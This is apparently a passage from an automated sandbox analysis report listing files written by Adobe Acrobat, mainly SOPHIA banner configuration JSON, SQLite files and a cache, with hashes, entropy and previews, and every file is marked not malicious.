KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.368518998945901
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJM3g98kUwPeUkwRe9:YvXKXuZc0v98GMbLUkee9
MD5:	20F51416D8B0AFE8A66C0271C1A9EA6C
SHA1:	D5745396E90FE9583F4FE1CB592A95358989F934
SHA-256:	8730518965C30B7082C045C02B941BBFC5E43D000DCBC753D03677C2ADCD7B59
SHA-512:	D1706430BC0A049B5B9BE1EB05A7289E114367D433B395300E570A239A42E262131A859A97934A266CC7F6BF390CDAEAB226E32D3A92BAA101FC82C6CFC0328E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319964853777948
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfBoTfXpnrPeUkwRe9:YvXKXuZc0v98GWTfXcUkee9
MD5:	0A30F16D4AEF5E4622CC8827ABD12391
SHA1:	D898AB496421988C23C26C35CA67546D3201AB7B
SHA-256:	1AC03C11315D159EB1D975EB45E6C0CE919619C2F894964B2476D53526AA7F46
SHA-512:	A5B493E5A33DF875C90210F7EE02E7C2AA16970E7B527F5B132E92D7CD1019D75AA67B2ED814A8B3B6E660AAE5281995B87ED5E6E17A2CC3185D325ED5F91B30
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297814947355017
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfBD2G6UpnrPeUkwRe9:YvXKXuZc0v98GR22cUkee9
MD5:	1D3926917867D26BAC16C9A41A1E589E
SHA1:	33EB1976804350DA5B1D0BAFB71A5A1EF02A5956
SHA-256:	2725B4E98B5CE4E0F1E11BD802B3D45FBCDB2CEB62A670C07C650A41EC0F3B49
SHA-512:	0A464F03AC76F24B1CF5D40BDF1F87811D1BE1928F2E5E019D143120DE86D44605FC699F728D57AD6A20B2FD9146DCA1D13B5AB9B4DAF1EF4F4A77857513C917
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.355710403829788
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfPmwrPeUkwRe9:YvXKXuZc0v98GH56Ukee9
MD5:	909081A68A557532DEF296500871A1C6
SHA1:	4AB6D767BF1A576AFCB0B7C13E170B334CD92AB0
SHA-256:	C670B13B151B33B18C514C56DE7440E81B8E1881D147B73E7F82BABC5392C5BB
SHA-512:	0AC6C974DC10399E9ACEAC19FB9EFF9177C2321FBC39E834DE6AF664DADF984752E52855CCF93E421B10820E659BB809828D1AE130204EE31E5767A46A30F985
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.6889523020390085
Encrypted:	false
SSDEEP:	24:Yv6Xuzv95pLgE9cQx8LennAvzBvkn0RCmK8czOCCSQK:Yv9l5hgy6SAFv5Ah8cv/v
MD5:	DCBFB5FCA54BF245342F0F147F8D0951
SHA1:	56BE45E3AB327093A31FB9BBAEA0E208C5E332E9
SHA-256:	628C6DD547C89F336749B2ED194C48C21A34D259539CB3C1A9DCC01DB4D38C4F
SHA-512:	DF7334019BE71A2833733EB9B6EE94BB9F6EBF0BC732E4782EA9CC5BF3C2C9C66B56E159A684336E580524BB503148405D882702D0C265FCBCCA81F1BBCA378D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301325575932125
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJf8dPeUkwRe9:YvXKXuZc0v98GU8Ukee9
MD5:	592DCCED7BAFA97CBCC560FEA3EA2634
SHA1:	F1DBB3F915BC6FDA2A9ADB5137F7A48738F57442
SHA-256:	D132818D135CB9F154117FB66E0CD423D80E94AE6172AB0EAF6D4307474BD3ED
SHA-512:	9EAA5CE09E44B429EE451346EF273EFDED6EA9A091C9C23D142F58CAE468B4F56678AA4753C09AB8403F0BEDA71C0824266EE33EF9FE09C689CC949E9C0D56F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.305794191416403
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfQ1rPeUkwRe9:YvXKXuZc0v98GY16Ukee9
MD5:	AC25CB1ADA2EC15B5E3B72BDF4B7C347
SHA1:	1EB84EFD940EED63232B65B5E71002FDF3ED68A7
SHA-256:	3B3225FDD8EB9FB6D8A4252BA94DFDFCC756F9CAD826CFB511ACE0BD8262C4A9
SHA-512:	99F797D8FF6FF80849042EB71E3C3DF2801612E552FC694248812F1A97B3C86A9840D7CE983DA834DCC2783D76C8057E40B2DAFA52B106D215294B618603F14D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311083107558764
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfFldPeUkwRe9:YvXKXuZc0v98Gz8Ukee9
MD5:	307DC64FC2C15AD20765FF79F5958980
SHA1:	35A319A7969C1D84C44CE3639A8FFFF3C46F62E8
SHA-256:	D2D04DFADC9A65B449ABC1B4B91F39636CC24A41A92FEB6A0D67929ED1AA557C
SHA-512:	429E9858799D5F51BACE420FA77E6BA06F1991C64EAFF1073676700BD100484B6BF693712C6CC170649A1080AAF295C7CDF79E56CE8A20AF96F5A66CD4C2D3AE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.327278969650998
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfzdPeUkwRe9:YvXKXuZc0v98Gb8Ukee9
MD5:	E7F9C5F8C62C0297DCE0A38422A811DE
SHA1:	8339AE8419DBF2A72E5824CCF48F648874836A3F
SHA-256:	F6D2E32124FE640EF1D180670EA51BFBDC21B669E6F23F4229B5E1E245540BEF
SHA-512:	A72E74F9F950B7CF49707499A00F800A6BFB26BF057D78D53EC6CD4F48A0757423040A5FA6F03AB468CED9546CC18B323F434632518B21BA18D9D3FAB558C928
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308364522449444
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfYdPeUkwRe9:YvXKXuZc0v98Gg8Ukee9
MD5:	EAF460192D19B38AB466791E006B252D
SHA1:	E2DC5A994F17EF26437CB7E867FA61D12A2192BB
SHA-256:	96ADEC4101C6DBB238A276FF6130A7768F70871E2F497B2E8FF8B289E5C9BF11
SHA-512:	9B4D45FDB5C630B710B58954CC06958DE11CB3242C0B91724DF2DB68EE73DC430BFE046C41A75DBEE141D15BE05002C21D6209BD6ADE535792E784FB3C61F57D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.294562157991497
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJf+dPeUkwRe9:YvXKXuZc0v98G28Ukee9
MD5:	51D349A4065EC3882957B8D6CAEC2863
SHA1:	459A26C1CB1ADA5B0F69526B18C0DA6BE80B0D55
SHA-256:	99E26ED5FFA09BDAE00DDCFF4AF67D05A118CACCDBE8486388E068C8C684B261
SHA-512:	E75EEF5781CE8BDA8FC69D800C0F62C508DA64784628B8153ABB64D3B7B314B8D9457DB2C106D03A1F41362CE7E9C8DD968D14FC45D08948A2587605D3436ABF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291854131996507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfbPtdPeUkwRe9:YvXKXuZc0v98GDV8Ukee9
MD5:	5BEF2CEDD0A47C41C44A2EAA86194FD3
SHA1:	039B51C5EBBDAD565832B5A94F1C3A4256855701
SHA-256:	B46271F332501C0E1B64A1B226F675A06844B734122955F11EA182FBB2A28C7E
SHA-512:	DCAC6C00C13381C0CAAF274EB63F0EA077AFA9E58187ED1943E4BA3DFB3E8396847BEDB7295F2D14BAD2E11982912A9CE5D3461422A0C2C718A74EBD0C923F9C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.296917227701515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJf21rPeUkwRe9:YvXKXuZc0v98G+16Ukee9
MD5:	6FCA9C3CD2D603F16CE3007C370FD22A
SHA1:	2E4EA9F48F0A8F971C5E9EE45998539F0509487A
SHA-256:	1F5A52C4FD85A9B70808100754B4CFC3A2F30A6DC37035895C093D2AF42B026D
SHA-512:	E85D8C3B5EDA82D8FA2D8E0FA8EE6FB24A994519FF29A24FD94C47880386D024EE1E93270BC53EE7680198F8EA104C8105C748F513D06C4CD2A1AC4690F7191A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666773359299677
Encrypted:	false
SSDEEP:	24:Yv6Xuzv9JamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSQK:Yv9lVBgkDMUJUAh8cvMv
MD5:	B9E3E31B9A30D6550BA7C73221BDABEB
SHA1:	74419DEAB48CB6507693309362244E0501B69A8B
SHA-256:	9CE84E177DF806FF4B093F868E2538589C241E28D1E91564ED2E574A66ACC61C
SHA-512:	D7BC3255B6B117C50173859DFA023C0BAFB3B0A21C50B5A5EDDC2B179BACC7F0F46CCB9F43D7C1E6AB6BE03EB1AD322027E7A37C502DF5242014357EEA7F17DB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271995258404038
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJfshHHrPeUkwRe9:YvXKXuZc0v98GUUUkee9
MD5:	B1D753D787B7E3E7252BE8A250E1ED53
SHA1:	44E1B2D376FE790D57663C44C91966A3D9B85816
SHA-256:	AB21EFCA17F732AB54F25F85F27D7D5438EFDA02006806D940ADD7B9B5B1E908
SHA-512:	5C8385871552E41774ADF8A664598D0C987D72A35A7EB1F6712FD6E5BB4AC19B378FBF2CE9BDA4E0CB3089BEC20184055FF7FD99917478ACA36992C2773D1375
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.282306841669357
Encrypted:	false
SSDEEP:	6:YEQXJ2HXguBMViHVoZcg1vRcR0YuBzoAvJTqgFCrPeUkwRe9:YvXKXuZc0v98GTq16Ukee9
MD5:	355450E924D5BA9EB66206D4D5FEA391
SHA1:	8BE0775DF5A36C206278F3480FC61F76385B4D18
SHA-256:	577CB9FA97BD7DE864844B640F7302A7A4F8D198CC66AAED4B646BC96D0DEE65
SHA-512:	4EA7F5EDD6CAD9CA710EFF5531273603E4CB4DF587663EFE4BE43CF7ACE232385CC0978DBBB4AC00ECB95152382BC6E8E458661D4EB8F47F63E0FC50B893D42A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"563b223d-a78d-41cb-b4cb-a8e94423ac71","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1737049324618,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.128696848784206
Encrypted:	false
SSDEEP:	24:YC0SZ9aqayhZhNOZAfwlZJia5ZnCqSZwSZmj9ZujxSMj0S7Z8BEf2Zp2+vp2LS7A:YCLX4diRxFeLG89HDWL79cG
MD5:	69082ABC79DC35C785A21A36CD36D7AA
SHA1:	9F816A4852065EDD5A083CD4748B59EEB8E94BF6
SHA-256:	7491426B2BFEA5B372C6D74540662A68D26524D098E8183E1A3E286D3FE56FED
SHA-512:	9B50A891216A4DAB5E7CB403AA4B2CB68D86E8CFA99B01591AEDDB9473922FAF9A21E02EBE031A904462FF2C607DE84C5CC2B1EBF33886192255E496815303D7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"38cd9ac5038b830cd30123a91a86e059","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736871783000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e49b774cdc96fb0f6c16b1aa5e81f7cb","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736871783000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"ffdf6878b2f33eb194180a5685423e1b","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736871783000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"ae514fe45ac5bc301d8df98edcb50a61","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736871783000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f270a50ead2d1905ae939eae547f0603","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736871783000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"c76145822ee1b72cc3f711d7ae74c097","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188671044928575
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUEegVSvR9H9vxFGiDIAEkGVvpQegh:lNVmswUUUUUUUUEeS+FGSItEeU
MD5:	97A8C78776B9CF8122181C734718D1C4
SHA1:	9D9BDA8130B32B4EB090C32CA5514F99EF7F6118
SHA-256:	E66E35712C9FD23B41D22F182570E0B7800F4B24DF973CE306E5B57A24757208
SHA-512:	3C8E924E7D080125F1EA4E0BC26214BC12D26F7CF7603BFA3BE4F8DC0EA700DC3F1DD39D1E2DD96DDAB6B427E21F1D11E51B62306662FC4C949FFEF4C052442F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6067664947710099
Encrypted:	false
SSDEEP:	48:7MwTKUUUUUUUUUUEegNvR9H9vxFGiDIAEkGVvGqFl2GL7msF:7WUUUUUUUUUUEe4FGSItsKVmsF
MD5:	0268D7BECB30DB2814365BCFA085BFF7
SHA1:	FBFFDDB6065171EACC241E8DA79E729F0D91A014
SHA-256:	CA49C64EBE33FB3EEA3C17C93A5DC324108F46E4252CB0B019BBE1539CAE3B7A
SHA-512:	3EC87145A49E1450FCD612825AEC29BFA991784F601E8BF2ACFEBDD608966B2C0C3045FA7589CD32207DA0923182B15E3B5F32C297DAD027207C9E0BC622FB92
Malicious:	false
Preview:	.... .c.....r.-.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgmKH37kZO5oZhWmwKIr1A2/AJ+PLYyu:6a6TZ44ADERH37kZOO2KXJiLK
MD5:	912018E4A646623FECFD179AAA688EE8
SHA1:	34C28148A7D70ABEE72EF3951285E4A131873F28
SHA-256:	6A405078D618B9A83913F967CFF97CF7DC588D0873D2655FB37C33A18E4CE435
SHA-512:	3B697EF33B1E9530A00DD7C3DC09277511A4ECADDC69B0E484D179028803105AB191F6EC7EB1EFBC5F0A56CC99005D8E979F3A517BEB30E7E89337BD68AD8062
Malicious:	false
